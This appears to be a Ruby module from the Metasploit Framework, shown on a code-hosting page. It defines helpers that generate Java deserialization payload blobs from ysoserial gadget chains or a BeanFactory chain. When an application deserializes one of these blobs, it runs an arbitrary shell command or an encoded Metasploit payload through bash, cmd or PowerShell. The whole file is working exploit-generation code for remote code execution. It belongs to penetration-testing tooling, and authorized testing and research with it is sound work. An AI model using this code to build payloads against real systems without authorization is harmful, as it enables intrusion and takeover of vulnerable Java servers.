Spencer McIntyre
77 lines
2.9 KiB
Ruby
77 lines
2.9 KiB
Ruby
# -*- coding: binary -*-
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module Msf
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module Exploit::JavaDeserialization
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include Msf::Exploit::Powershell
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# Generate a binary blob that when deserialized by Java will execute the specified command using the platform-specific
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# shell. Many deserialization gadget chains pass the command to `Runtime.getRuntime().exec()` as a string which has
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# limitations on characters in the command such as whitespace and quotes. Using a specific shell will cause the
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# command to be invoked as an array using that shell and thus work around those limitations.
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#
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# @param [String] name The name of the YSoSerial payload to use.
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# @param [String] shell The shell to use for executing the command. Must be one of bash, cmd or powershell.
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# @param [String] command The OS command to execute.
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#
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# @return [String] The opaque data blob.
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def generate_java_deserialization_for_command(name, shell, command)
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# here we force usage of a modified type to avoid compatibility issues with command characters thar are present in
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# some ysoserial payloads
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unless %w{ bash cmd powershell }.include? shell
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raise RuntimeError, 'Invalid shell for Java Deserialization payload generation'
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end
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if name == 'BeanFactory'
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blob = Msf::Util::JavaDeserialization::BeanFactory.generate(command, shell: shell)
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else
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blob = Msf::Util::JavaDeserialization.ysoserial_payload(name, command, modified_type: shell)
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end
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blob
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end
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# Generate a binary blob that when deserialized by Java will execute the specified payload. This routine converts the
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# payload automatically based on the platform and architecture. Due to this, not all combinations are supported.
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#
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# @param [String] name The name of the YSoSerial payload to use.
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# @param [Msf::EncodedPayload] payload The payload to execute.
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#
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# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
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# operating system command.
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#
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# @return [String] The opaque data blob.
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def generate_java_deserialization_for_payload(name, payload)
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command = nil
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if payload.platform.platforms == [Msf::Module::Platform::Windows]
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if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
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command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
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elsif payload.arch.first == Rex::Arch::ARCH_CMD
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command = payload.encoded
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end
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shell = 'cmd'
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else
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if payload.arch.first == Rex::Arch::ARCH_CMD
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command = payload.encoded
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end
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shell = 'bash'
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end
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if command.nil?
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raise RuntimeError, 'Could not generate the payload for the platform/architecture combination'
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end
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generate_java_deserialization_for_command(name, shell, command)
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end
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def self.gadget_chains
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chains = Msf::Util::JavaDeserialization.ysoserial_payload_names
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chains << 'BeanFactory' # not a ysoserial payload, but still supported
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chains.sort
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end
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end
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end
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